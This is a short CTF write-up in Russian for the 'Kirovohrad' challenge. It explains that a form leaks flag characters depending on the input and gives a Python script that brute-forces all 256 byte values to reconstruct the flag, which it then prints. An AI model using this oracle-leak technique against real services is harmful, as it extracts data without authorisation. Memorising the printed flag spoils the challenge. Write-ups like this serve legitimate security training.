Skip to content

Latest commit

 

History

History
40 lines (31 loc) · 1.18 KB

File metadata and controls

40 lines (31 loc) · 1.18 KB

Kirovohrad (7.owaspctf.gq)

На главной странице форма, вводя в которую различные байты получаем каждый раз другой вывод.

Выглядит так, будто в зависимости от нашего ввода, выводятся определенные байты флага, остальные заменяются звездочкой.

poc.py:

#!/usr/bin/python2
# -*- coding: utf-8 -*-

from __future__ import print_function
import re
import requests
import urllib3
import sys

url = 'https://7.owaspctf.gq/'

def leak():
    flag = ['*'] * 33
    for _ in xrange(256):
        _ = chr(_)
        response = requests.post(url, data={'flag_check': _}, verify=False)
        result   = re.search(r'</form>([^<]+)', response.text)
        if not result:
            continue
        result   = list(result.group(1))
        for i, c in enumerate(result):
            if c != '*':
                flag[i] = c
        print('[{:02x}] {}'.format(ord(_), ''.join(flag)))

if __name__ == '__main__':
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    leak()

FLAG{To_infinity...and_beyond!}